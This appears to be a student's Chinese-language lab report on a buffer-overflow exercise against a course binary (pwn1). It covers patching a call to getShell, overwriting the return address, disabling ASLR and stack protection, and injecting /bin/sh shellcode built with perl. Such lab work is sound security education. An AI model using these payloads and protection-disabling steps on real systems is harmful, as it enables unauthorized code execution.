Exp1 PC平台逆向破解(5)M
cp pwn1 20155320
备份pwn1objdump -d 20155320
反汇编,找到call指令,现在就是要把call指令里原来foo的地址换成getshell的地址。
通过计算,getshell和foo的地址相对偏移量为14,所以d7-14=c3,从c3即为所被改为的地址
依次输入以下命令,修改call指令里的内容,因为call为调用所以修改call里面的内容即能修改调用的函数,e8也代表调用。
vi 20155320
1.按ESC键
2.输入如下,将显示模式切换为16进制模式:%!xxd
/e8 d7
- 找到后用以下命令完成将e8d7改为e8c3修改即可
```
修改d7为c3
PS:这个必须要做 转换16进制为原格式:%!xxd -r
存盘退出vi:wq
```
objdump -d pwn1 | more
,确定foo和getshell两段函数的地址。然后进一步输入1111111122222222333333334444444412345678,找到是1234这几个数字会覆盖返回地址。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
把这1234四个字符替换为 getShell 的内存地址execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
X pwn1
more /proc/sys/kernel/randomize_va_space
2
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space
0
注:后续将pwn3重命名为p5320了
Linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcode
nop+shellcode+retaddr。
通过尝试发现本实验采用的实际是anything+retaddr+nops+shellcode。
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
(cat input_shellcode;cat) | ./pwn1
注入攻击再开另外一个终端,用gdb来调试pwn1这个进程,来计算shellcode的地址。
ps -ef | grep p5320
得到进程号为1807输入命令perl -e 'print "A" x 32;print "\x80\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
修改地址,输入(cat input_shellcode;cat) | ./p5320
完成注入攻击,结果如下。
缓冲区溢出实验我曾经在娄老师的课上做过一次,但是是按步骤一步一步做的,并没有实际理解,而且还把虚拟机弄崩了...。这次更加理解了实验的原理,主要是通过修改返回地址调用地址之类的原理,将这些地址改为指向想要执行的代码,虽然更深层次的还不太会,基本简单的攻击思路还是理清了。
优质内容筛选与推荐>>